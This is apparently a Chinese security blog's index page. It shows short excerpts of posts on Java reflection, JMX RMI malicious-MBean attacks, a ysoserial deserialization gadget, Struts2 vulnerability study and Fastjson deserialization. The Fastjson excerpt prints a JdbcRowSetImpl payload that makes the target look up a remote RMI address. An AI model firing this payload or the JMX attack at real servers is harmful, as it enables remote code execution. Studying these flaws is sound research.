最近一直都在学习 Java 安全相关的东西,这两个玩意可以说是经常碰到了,做个笔记。话说要是在两个月前我是万万想不到我现在整天接触的居然是 Java,一边学习 Java 一边搞 = =0x00 反射机制利用反射机制能干的事情:在运行时动态对任意的类实例化在运行时分析类,获取类的成员变量和方法等信息调用任意方法0x01 获取 Class 对象的三种方法Class 类保存了所有对象运行时的类型标识,虚拟机在运行时根据类型信息再去选择对应的方法来执行。这里的 Class 可以理解为类类型,跟平时说的 Class 是有区别的。下面是如何去获取一个 Class 类型的实例。Object 类中的 g...

0x00 简述好几年前就有人提到这个关于JMX RMI的攻击了,个人觉得这个只是因为没有做到安全配置而导致存在的可被攻击利用的点。攻击者可以远程注册一个恶意的 MBean,再去调用里面的用于执行命令的方法达到攻击效果。代码来自参考文章,只对代码做了少许改动,他还为 metasploit 写了这个攻击模块,具体的可以看参考链接。主要还是去了解其中的攻击利用实现,用到的也都是正常功能了。前提条件:允许远程访问,没有开启认证 (com.sun.management.jmxremote.authenticate=false)能够远程注册 MBean (javax.management.loadi...

0x00 CommonsBeanutilsCollectionsLogging1依赖:commons-beanutils:1.9.2commons-collections:3.1commons-logging:1.2ysoserial/payloads/CommonsBeanutilsCollectionsLogging1.java:public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload<Object> { public Object getObject(final Stri...

好久没管博客了,怕这个博客也废了,传个以前写的笔记上来。当初写这个原因也很简单,每次struts2的漏洞出来了,连大佬们的POC都看不懂为啥要这样写,即使有了POC也不懂得咋去变通使用,所以就去学习了一发,笔记做的比较简略了。最近的考试都完了,虽然还没毕业,但是感觉整个大学都结束了一般。struts2 框架web.xml为整个项目的入口。 添加struts2的过滤器,<filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.di...

更新:更简洁的 payload,更多的可以参考 marshalsec 文档{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Object","autoCommit":true}其实这个 Gadget 是借助 Setter 来做的触发,因为 Fastjson 在还原对象的时候用的 Setter 来给对象中的成员变量赋值。从 SetautoCommit 方法开始最终会进入一个 lookup 方法,参...